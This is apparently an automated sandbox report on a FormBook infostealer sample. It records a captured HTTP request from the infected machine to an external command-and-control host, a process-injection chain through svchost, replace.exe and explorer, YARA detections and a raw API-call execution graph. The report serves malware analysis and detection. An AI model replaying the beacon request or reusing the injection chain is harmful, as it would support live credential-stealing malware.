                                                                                                                                                Nov 5, 2024 16:24:25.572668076 CET410OUTGET /ha8h/?76yp5b=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX6/3MPvQCQPMFuzfo+VK5cq25Wd2+yKQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Host: www.sterkus.xyz
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Nov 5, 2024 16:24:26.283037901 CET163INHTTP/1.1 200 OK
                                                                                                                                                Date: Tue, 05 Nov 2024 15:24:26 GMT
                                                                                                                                                Server: Apache
                                                                                                                                                Content-Length: 12
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: text/html; charset=utf-8
                                                                                                                                                Data Raw: 4e 62 74 61 48 61 59 5a 4e 42 62 78
                                                                                                                                                Data Ascii: NbtaHaYZNBbx


                                                                                                                                                Statistics

                                                                                                                                                CPU Usage

                                                                                                                                                Click to jump to process

                                                                                                                                                Memory Usage

                                                                                                                                                Click to jump to process

                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                Behavior

                                                                                                                                                Click to jump to process

                                                                                                                                                System Behavior

                                                                                                                                                General

                                                                                                                                                Target ID:0
                                                                                                                                                Start time:10:22:52
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Users\user\Desktop\UNGSno5k4G.exe
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:"C:\Users\user\Desktop\UNGSno5k4G.exe"
                                                                                                                                                Imagebase:0x400000
                                                                                                                                                File size:1'338'657 bytes
                                                                                                                                                MD5 hash:2635F8B903B80146D303FBB5C6185FE7
                                                                                                                                                Has elevated privileges:true
                                                                                                                                                Has administrator privileges:true
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:low
                                                                                                                                                Has exited:true

                                                                                                                                                General

                                                                                                                                                Target ID:2
                                                                                                                                                Start time:10:22:55
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:"C:\Users\user\Desktop\UNGSno5k4G.exe"
                                                                                                                                                Imagebase:0xab0000
                                                                                                                                                File size:46'504 bytes
                                                                                                                                                MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                                                                                Has elevated privileges:true
                                                                                                                                                Has administrator privileges:true
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Yara matches:
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:true

                                                                                                                                                General

                                                                                                                                                Target ID:3
                                                                                                                                                Start time:10:22:57
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:"C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe"
                                                                                                                                                Imagebase:0xa0000
                                                                                                                                                File size:140'800 bytes
                                                                                                                                                MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Yara matches:
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:false

                                                                                                                                                General

                                                                                                                                                Target ID:4
                                                                                                                                                Start time:10:22:59
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Windows\SysWOW64\replace.exe
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:"C:\Windows\SysWOW64\replace.exe"
                                                                                                                                                Imagebase:0xe70000
                                                                                                                                                File size:18'944 bytes
                                                                                                                                                MD5 hash:A7F2E9DD9DE1396B1250F413DA2F6C08
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Yara matches:
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                Reputation:moderate
                                                                                                                                                Has exited:true

                                                                                                                                                General

                                                                                                                                                Target ID:6
                                                                                                                                                Start time:10:23:11
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                Commandline:"C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe"
                                                                                                                                                Imagebase:0xa0000
                                                                                                                                                File size:140'800 bytes
                                                                                                                                                MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Yara matches:
                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:false

                                                                                                                                                General

                                                                                                                                                Target ID:8
                                                                                                                                                Start time:10:23:24
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                                                                                Imagebase:0x7ff73feb0000
                                                                                                                                                File size:676'768 bytes
                                                                                                                                                MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:true

                                                                                                                                                General

                                                                                                                                                Target ID:11
                                                                                                                                                Start time:10:24:37
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Windows\explorer.exe
                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                Commandline:"C:\Windows\explorer.exe"
                                                                                                                                                Imagebase:0x7ff633410000
                                                                                                                                                File size:5'141'208 bytes
                                                                                                                                                MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:true

                                                                                                                                                General

                                                                                                                                                Target ID:12
                                                                                                                                                Start time:10:24:37
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Windows\explorer.exe
                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                Commandline:explorer.exe
                                                                                                                                                Imagebase:0x7ff633410000
                                                                                                                                                File size:5'141'208 bytes
                                                                                                                                                MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:false

                                                                                                                                                General

                                                                                                                                                Target ID:15
                                                                                                                                                Start time:10:24:39
                                                                                                                                                Start date:05/11/2024
                                                                                                                                                Path:C:\Windows\System32\rundll32.exe
                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                Commandline:C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                                                                                                                                                Imagebase:0x7ff6fc320000
                                                                                                                                                File size:71'680 bytes
                                                                                                                                                MD5 hash:EF3179D498793BF4234F708D3BE28633
                                                                                                                                                Has elevated privileges:false
                                                                                                                                                Has administrator privileges:false
                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                Reputation:high
                                                                                                                                                Has exited:true

                                                                                                                                                Disassembly

                                                                                                                                                Reset < >

                                                                                                                                                  Execution Graph

                                                                                                                                                  Execution Coverage:3%
                                                                                                                                                  Dynamic/Decrypted Code Coverage:2.4%
                                                                                                                                                  Signature Coverage:3.4%
                                                                                                                                                  Total number of Nodes:1601
                                                                                                                                                  Total number of Limit Nodes:40
                                                                                                                                                  execution_graph 84878 444343 84881 444326 84878->84881 84880 44434e WriteFile 84882 444340 84881->84882 84883 4442c7 84881->84883 84882->84880 84888 40e190 SetFilePointerEx 84883->84888 84885 4442e0 SetFilePointerEx 84889 40e190 SetFilePointerEx 84885->84889 84887 4442ff 84887->84880 84888->84885 84889->84887 84890 40b9e23 84891 40b9e2a 84890->84891 84892 40b9ec8 84891->84892 84893 40b9e32 84891->84893 84910 40ba778 9 API calls 84892->84910 84897 40b9ad8 84893->84897 84896 40b9eaf 84911 40b74c8 84897->84911 84899 40b9b77 84902 40b9bd1 VirtualAlloc 84899->84902 84903 40b9bb5 84899->84903 84908 40b9cd8 CloseHandle 84899->84908 84909 40b9ce8 VirtualFree 84899->84909 84914 40ba9e8 GetPEB 84899->84914 84901 40b9ba8 CreateFileW 84901->84899 84901->84903 84902->84903 84904 40b9bf2 ReadFile 84902->84904 84905 40b9dd2 84903->84905 84906 40b9dc4 VirtualFree 84903->84906 84904->84903 84907 40b9c10 VirtualAlloc 84904->84907 84905->84896 84906->84905 84907->84899 84907->84903 84908->84899 84909->84899 84910->84896 84916 40ba988 GetPEB 84911->84916 84913 40b7b53 84913->84899 84915 40baa12 84914->84915 84915->84901 84917 40ba9b2 84916->84917 84917->84913 84918 46d22f 84921 46d098 84918->84921 84920 46d241 84922 46d0b5 84921->84922 84923 46d115 84922->84923 84924 46d0b9 84922->84924 84992 45c216 78 API calls 84923->84992 84969 41171a 84924->84969 84928 46d126 84930 46d0f8 84928->84930 84936 46d142 84928->84936 84929 46d0cc 84982 453063 84929->84982 84988 4092c0 84930->84988 84933 46d0fd 84933->84920 84937 46d1c8 84936->84937 84940 46d158 84936->84940 84998 4676a3 78 API calls 84937->84998 84943 453063 111 API calls 84940->84943 84941 46d0ea 84941->84936 84944 46d0ee 84941->84944 84942 46d1ce 84999 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84942->84999 84950 46d15e 84943->84950 84944->84930 84987 44ade5 CloseHandle ctype 84944->84987 84946 46d18d 84993 467fce 82 API calls 84946->84993 84947 46d196 84994 4013a0 75 API calls 84947->84994 84950->84946 84950->84947 84952 46d1e7 84955 4092c0 VariantClear 84952->84955 84963 46d194 84952->84963 84953 46d1a2 84995 40df50 75 API calls 84953->84995 84955->84963 84956 46d1ac 84996 40d3b0 75 API calls 2 library calls 84956->84996 84957 46d224 84957->84920 84960 46d1b8 84997 467fce 82 API calls 84960->84997 84962 46d216 85000 44ade5 CloseHandle ctype 84962->85000 84963->84957 84965 40d900 84963->84965 84966 40d917 84965->84966 84967 40d909 84965->84967 84966->84967 84968 40d91c CloseHandle 84966->84968 84967->84962 84968->84962 84971 411724 84969->84971 84972 41173e 84971->84972 84976 411740 std::bad_alloc::bad_alloc 84971->84976 85001 4138ba 84971->85001 85019 411afc 6 API calls __decode_pointer 84971->85019 84972->84929 84981 40d940 76 API calls 84972->84981 84974 411766 85023 4116fd 67 API calls std::exception::exception 84974->85023 84976->84974 85020 411421 84976->85020 84977 411770 85024 41805b RaiseException 84977->85024 84980 41177e 84981->84929 84983 45306e 84982->84983 84984 45307a 84982->84984 84983->84984 85162 452e2a 111 API calls 5 library calls 84983->85162 84986 40dfa0 83 API calls 84984->84986 84986->84941 84987->84930 84989 4092c8 ctype 84988->84989 84990 429db0 VariantClear 84989->84990 84991 4092d5 ctype 84989->84991 84990->84991 84991->84933 84992->84928 84993->84963 84994->84953 84995->84956 84996->84960 84997->84963 84998->84942 84999->84952 85000->84957 85002 41396d 85001->85002 85012 4138cc 85001->85012 85032 411afc 6 API calls __decode_pointer 85002->85032 85004 413973 85033 417f23 67 API calls __getptd_noexit 85004->85033 85009 413929 RtlAllocateHeap 85009->85012 85010 4138dd 85010->85012 85025 418252 67 API calls 2 library calls 85010->85025 85026 4180a7 67 API calls 7 library calls 85010->85026 85027 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 85010->85027 85012->85009 85012->85010 85013 413959 85012->85013 85016 41395e 85012->85016 85018 413965 85012->85018 85028 41386b 67 API calls 4 library calls 85012->85028 85029 411afc 6 API calls __decode_pointer 85012->85029 85030 417f23 67 API calls __getptd_noexit 85013->85030 85031 417f23 67 API calls __getptd_noexit 85016->85031 85018->84971 85019->84971 85034 4113e5 85020->85034 85022 41142e 85022->84974 85023->84977 85024->84980 85025->85010 85026->85010 85028->85012 85029->85012 85030->85016 85031->85018 85032->85004 85033->85018 85035 4113f1 __lseeki64 85034->85035 85042 41181b 85035->85042 85041 411412 __lseeki64 85041->85022 85068 418407 85042->85068 85044 4113f6 85045 4112fa 85044->85045 85133 4169e9 TlsGetValue 85045->85133 85048 4169e9 __decode_pointer 6 API calls 85049 41131e 85048->85049 85060 4113a1 85049->85060 85143 4170e7 68 API calls 5 library calls 85049->85143 85051 41133c 85054 411357 85051->85054 85055 411366 85051->85055 85064 411388 85051->85064 85052 41696e __encode_pointer 6 API calls 85053 411396 85052->85053 85057 41696e __encode_pointer 6 API calls 85053->85057 85144 417047 73 API calls _realloc 85054->85144 85056 411360 85055->85056 85055->85060 85056->85055 85061 41137c 85056->85061 85145 417047 73 API calls _realloc 85056->85145 85057->85060 85065 41141b 85060->85065 85146 41696e TlsGetValue 85061->85146 85062 411376 85062->85060 85062->85061 85064->85052 85158 411824 85065->85158 85069 41841c 85068->85069 85070 41842f EnterCriticalSection 85068->85070 85075 418344 85069->85075 85070->85044 85072 418422 85072->85070 85103 4117af 67 API calls 3 library calls 85072->85103 85074 41842e 85074->85070 85076 418350 __lseeki64 85075->85076 85077 418360 85076->85077 85078 418378 85076->85078 85104 418252 67 API calls 2 library calls 85077->85104 85087 418386 __lseeki64 85078->85087 85107 416fb6 85078->85107 85081 418365 85105 4180a7 67 API calls 7 library calls 85081->85105 85084 41836c 85106 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 85084->85106 85085 4183a7 85090 418407 __lock 67 API calls 85085->85090 85086 418398 85113 417f23 67 API calls __getptd_noexit 85086->85113 85087->85072 85092 4183ae 85090->85092 85093 4183e2 85092->85093 85094 4183b6 85092->85094 85095 413a88 ___endstdio 67 API calls 85093->85095 85114 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85094->85114 85098 4183d3 85095->85098 85097 4183c1 85097->85098 85115 413a88 85097->85115 85129 4183fe LeaveCriticalSection _doexit 85098->85129 85101 4183cd 85128 417f23 67 API calls __getptd_noexit 85101->85128 85103->85074 85104->85081 85105->85084 85109 416fbf 85107->85109 85108 4138ba _malloc 66 API calls 85108->85109 85109->85108 85110 416ff5 85109->85110 85111 416fd6 Sleep 85109->85111 85110->85085 85110->85086 85112 416feb 85111->85112 85112->85109 85112->85110 85113->85087 85114->85097 85117 413a94 __lseeki64 85115->85117 85116 413b0d _realloc __lseeki64 85116->85101 85117->85116 85119 418407 __lock 65 API calls 85117->85119 85127 413ad3 85117->85127 85118 413ae8 RtlFreeHeap 85118->85116 85120 413afa 85118->85120 85124 413aab ___sbh_find_block 85119->85124 85132 417f23 67 API calls __getptd_noexit 85120->85132 85122 413aff GetLastError 85122->85116 85123 413ac5 85131 413ade LeaveCriticalSection _doexit 85123->85131 85124->85123 85130 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __cftoe2_l 85124->85130 85127->85116 85127->85118 85128->85098 85129->85087 85130->85123 85131->85127 85132->85122 85134 416a01 85133->85134 85135 416a22 GetModuleHandleW 85133->85135 85134->85135 85136 416a0b TlsGetValue 85134->85136 85137 416a32 85135->85137 85138 416a3d GetProcAddress 85135->85138 85140 416a16 85136->85140 85156 41177f Sleep GetModuleHandleW 85137->85156 85142 41130e 85138->85142 85140->85135 85140->85142 85141 416a38 85141->85138 85141->85142 85142->85048 85143->85051 85144->85056 85145->85062 85147 4169a7 GetModuleHandleW 85146->85147 85148 416986 85146->85148 85149 4169c2 GetProcAddress 85147->85149 85150 4169b7 85147->85150 85148->85147 85151 416990 TlsGetValue 85148->85151 85153 41699f 85149->85153 85157 41177f Sleep GetModuleHandleW 85150->85157 85154 41699b 85151->85154 85153->85064 85154->85147 85154->85153 85155 4169bd 85155->85149 85155->85153 85156->85141 85157->85155 85161 41832d LeaveCriticalSection 85158->85161 85160 411420 85160->85041 85161->85160 85162->84984 85163 40116e 85164 401119 DefWindowProcW 85163->85164 85165 40f110 RegOpenKeyExW 85166 40f13c RegQueryValueExW RegCloseKey 85165->85166 85167 40f15f 85165->85167 85166->85167 85168 429212 85173 410b90 85168->85173 85171 411421 __cinit 74 API calls 85172 42922f 85171->85172 85174 410b9a __write_nolock 85173->85174 85175 41171a 75 API calls 85174->85175 85176 410c31 GetModuleFileNameW 85175->85176 85190 413db0 85176->85190 85178 410c66 _wcsncat 85193 413e3c 85178->85193 85181 41171a 75 API calls 85182 410ca3 _wcscpy 85181->85182 85183 410cd1 RegOpenKeyExW 85182->85183 85184 429bc3 RegQueryValueExW 85183->85184 85185 410cf7 85183->85185 85186 429cd9 RegCloseKey 85184->85186 85188 429bf2 _wcscat _wcslen _wcsncpy 85184->85188 85185->85171 85187 41171a 75 API calls 85187->85188 85188->85187 85189 429cd8 85188->85189 85189->85186 85196 413b95 85190->85196 85226 41abec 85193->85226 85203 413bae 85196->85203 85208 413c2f 85196->85208 85197 413d60 85222 417f23 67 API calls __getptd_noexit 85197->85222 85198 413d7b 85224 417f23 67 API calls __getptd_noexit 85198->85224 85201 413d65 85206 413cfb 85201->85206 85223 417ebb 6 API calls 2 library calls 85201->85223 85203->85208 85212 413c1d 85203->85212 85218 41ab19 67 API calls __wcsicmp_l 85203->85218 85205 413d03 85205->85206 85205->85208 85209 413d8e 85205->85209 85206->85178 85207 413cb9 85207->85208 85210 413cd6 85207->85210 85220 41ab19 67 API calls __wcsicmp_l 85207->85220 85208->85197 85208->85198 85225 41ab19 67 API calls __wcsicmp_l 85209->85225 85210->85206 85210->85208 85214 413cef 85210->85214 85212->85208 85217 413c9b 85212->85217 85219 41ab19 67 API calls __wcsicmp_l 85212->85219 85221 41ab19 67 API calls __wcsicmp_l 85214->85221 85217->85205 85217->85207 85218->85212 85219->85217 85220->85210 85221->85206 85222->85201 85224->85201 85225->85206 85227 41ac02 85226->85227 85228 41abfd 85226->85228 85235 417f23 67 API calls __getptd_noexit 85227->85235 85228->85227 85232 41ac22 85228->85232 85230 41ac07 85236 417ebb 6 API calls 2 library calls 85230->85236 85233 410c99 85232->85233 85237 417f23 67 API calls __getptd_noexit 85232->85237 85233->85181 85235->85230 85237->85230 85238 401230 85239 401241 _memset 85238->85239 85240 4012c5 85238->85240 85253 401be0 85239->85253 85242 40126b 85243 4012ae KillTimer SetTimer 85242->85243 85244 42aa61 85242->85244 85245 401298 85242->85245 85243->85240 85246 42aa8b Shell_NotifyIconW 85244->85246 85247 42aa69 Shell_NotifyIconW 85244->85247 85248 4012a2 85245->85248 85249 42aaac 85245->85249 85246->85243 85247->85243 85248->85243 85252 42aaf8 Shell_NotifyIconW 85248->85252 85250 42aad7 Shell_NotifyIconW 85249->85250 85251 42aab5 Shell_NotifyIconW 85249->85251 85250->85243 85251->85243 85252->85243 85254 401bfb 85253->85254 85274 401cde 85253->85274 85275 4013a0 75 API calls 85254->85275 85256 401c0b 85257 42a9a0 LoadStringW 85256->85257 85258 401c18 85256->85258 85260 42a9bb 85257->85260 85276 4021e0 85258->85276 85289 40df50 75 API calls 85260->85289 85261 401c2d 85263 401c3a 85261->85263 85264 42a9cd 85261->85264 85263->85260 85265 401c44 85263->85265 85290 40d3b0 75 API calls 2 library calls 85264->85290 85288 40d3b0 75 API calls 2 library calls 85265->85288 85268 42a9dc 85269 42a9f0 85268->85269 85271 401c53 _memset _wcscpy _wcsncpy 85268->85271 85291 40d3b0 75 API calls 2 library calls 85269->85291 85273 401cc2 Shell_NotifyIconW 85271->85273 85272 42a9fe 85273->85274 85274->85242 85275->85256 85277 4021f1 _wcslen 85276->85277 85278 42a598 85276->85278 85281 402205 85277->85281 85282 402226 85277->85282 85294 40c740 85278->85294 85280 42a5a2 85292 404020 75 API calls ctype 85281->85292 85293 401380 75 API calls 85282->85293 85285 40220c _realloc 85285->85261 85286 40222d 85286->85280 85287 41171a 75 API calls 85286->85287 85287->85285 85288->85271 85289->85271 85290->85268 85291->85272 85292->85285 85293->85286 85295 40c752 85294->85295 85296 40c747 85294->85296 85295->85280 85296->85295 85299 402ae0 75 API calls _realloc 85296->85299 85298 42a572 _realloc 85298->85280 85299->85298 85300 4034b0 85301 4034b9 85300->85301 85302 4034bd 85300->85302 85303 41171a 75 API calls 85302->85303 85304 42a0ba 85302->85304 85305 4034fe _realloc ctype 85303->85305 85306 416193 85343 41718c 85306->85343 85308 41619f GetStartupInfoW 85310 4161c2 85308->85310 85344 41aa31 HeapCreate 85310->85344 85312 416212 85346 416e29 GetModuleHandleW 85312->85346 85316 416223 __RTC_Initialize 85380 41b669 85316->85380 85319 416231 85320 41623d GetCommandLineW 85319->85320 85449 4117af 67 API calls 3 library calls 85319->85449 85395 42235f GetEnvironmentStringsW 85320->85395 85323 41624c 85401 4222b1 GetModuleFileNameW 85323->85401 85324 41623c 85324->85320 85326 416256 85327 416261 85326->85327 85450 4117af 67 API calls 3 library calls 85326->85450 85405 422082 85327->85405 85331 416272 85418 41186e 85331->85418 85334 416279 85336 416284 __wwincmdln 85334->85336 85452 4117af 67 API calls 3 library calls 85334->85452 85424 40d7f0 85336->85424 85338 4162b3 85454 411a4b 67 API calls _doexit 85338->85454 85342 4162b8 __lseeki64 85343->85308 85345 416206 85344->85345 85345->85312 85447 41616a 67 API calls 3 library calls 85345->85447 85347 416e44 85346->85347 85348 416e3d 85346->85348 85350 416fac 85347->85350 85351 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85347->85351 85455 41177f Sleep GetModuleHandleW 85348->85455 85465 416ad5 70 API calls 2 library calls 85350->85465 85353 416e97 TlsAlloc 85351->85353 85352 416e43 85352->85347 85356 416218 85353->85356 85357 416ee5 TlsSetValue 85353->85357 85356->85316 85448 41616a 67 API calls 3 library calls 85356->85448 85357->85356 85358 416ef6 85357->85358 85456 411a69 6 API calls 4 library calls 85358->85456 85360 416efb 85361 41696e __encode_pointer 6 API calls 85360->85361 85362 416f06 85361->85362 85363 41696e __encode_pointer 6 API calls 85362->85363 85364 416f16 85363->85364 85365 41696e __encode_pointer 6 API calls 85364->85365 85366 416f26 85365->85366 85367 41696e __encode_pointer 6 API calls 85366->85367 85368 416f36 85367->85368 85457 41828b InitializeCriticalSectionAndSpinCount __ioinit 85368->85457 85370 416f43 85370->85350 85371 4169e9 __decode_pointer 6 API calls 85370->85371 85372 416f57 85371->85372 85372->85350 85458 416ffb 85372->85458 85375 4169e9 __decode_pointer 6 API calls 85376 416f8a 85375->85376 85376->85350 85377 416f91 85376->85377 85464 416b12 67 API calls 5 library calls 85377->85464 85379 416f99 GetCurrentThreadId 85379->85356 85484 41718c 85380->85484 85382 41b675 GetStartupInfoA 85383 416ffb __calloc_crt 67 API calls 85382->85383 85384 41b696 85383->85384 85385 41b8b4 __lseeki64 85384->85385 85387 416ffb __calloc_crt 67 API calls 85384->85387 85390 41b7fb 85384->85390 85391 41b77e 85384->85391 85385->85319 85386 41b831 GetStdHandle 85386->85390 85387->85384 85388 41b896 SetHandleCount 85388->85385 85389 41b843 GetFileType 85389->85390 85390->85385 85390->85386 85390->85388 85390->85389 85486 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85390->85486 85391->85385 85391->85390 85393 41b7a7 GetFileType 85391->85393 85485 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85391->85485 85393->85391 85396 422370 85395->85396 85397 422374 85395->85397 85396->85323 85398 416fb6 __malloc_crt 67 API calls 85397->85398 85399 422395 _realloc 85398->85399 85400 42239c FreeEnvironmentStringsW 85399->85400 85400->85323 85402 4222e6 _wparse_cmdline 85401->85402 85403 416fb6 __malloc_crt 67 API calls 85402->85403 85404 422329 _wparse_cmdline 85402->85404 85403->85404 85404->85326 85406 42209a _wcslen 85405->85406 85410 416267 85405->85410 85407 416ffb __calloc_crt 67 API calls 85406->85407 85413 4220be _wcslen 85407->85413 85408 422123 85409 413a88 ___endstdio 67 API calls 85408->85409 85409->85410 85410->85331 85451 4117af 67 API calls 3 library calls 85410->85451 85411 416ffb __calloc_crt 67 API calls 85411->85413 85412 422149 85414 413a88 ___endstdio 67 API calls 85412->85414 85413->85408 85413->85410 85413->85411 85413->85412 85417 422108 85413->85417 85487 426349 67 API calls __wcsicmp_l 85413->85487 85414->85410 85417->85413 85488 417d93 10 API calls 3 library calls 85417->85488 85420 41187c __IsNonwritableInCurrentImage 85418->85420 85489 418486 85420->85489 85421 41189a __initterm_e 85422 411421 __cinit 74 API calls 85421->85422 85423 4118b9 __IsNonwritableInCurrentImage __initterm 85421->85423 85422->85423 85423->85334 85425 431bcb 85424->85425 85426 40d80c 85424->85426 85427 4092c0 VariantClear 85426->85427 85428 40d847 85427->85428 85493 40eb50 85428->85493 85431 40d877 85496 411ac6 67 API calls 4 library calls 85431->85496 85434 40d888 85497 411b24 67 API calls __wcsicmp_l 85434->85497 85436 40d891 85498 40f370 SystemParametersInfoW SystemParametersInfoW 85436->85498 85438 40d89f 85499 40d6d0 GetCurrentDirectoryW 85438->85499 85440 40d8a7 SystemParametersInfoW 85441 40d8d4 85440->85441 85442 40d8cd FreeLibrary 85440->85442 85443 4092c0 VariantClear 85441->85443 85442->85441 85444 40d8dd 85443->85444 85445 4092c0 VariantClear 85444->85445 85446 40d8e6 85445->85446 85446->85338 85453 411a1f 67 API calls _doexit 85446->85453 85447->85312 85448->85316 85449->85324 85450->85327 85451->85331 85452->85336 85453->85338 85454->85342 85455->85352 85456->85360 85457->85370 85461 417004 85458->85461 85460 416f70 85460->85350 85460->85375 85461->85460 85462 417022 Sleep 85461->85462 85466 422452 85461->85466 85463 417037 85462->85463 85463->85460 85463->85461 85464->85379 85465->85356 85467 42245e __lseeki64 85466->85467 85468 422476 85467->85468 85478 422495 _memset 85467->85478 85479 417f23 67 API calls __getptd_noexit 85468->85479 85470 42247b 85480 417ebb 6 API calls 2 library calls 85470->85480 85472 422507 HeapAlloc 85472->85478 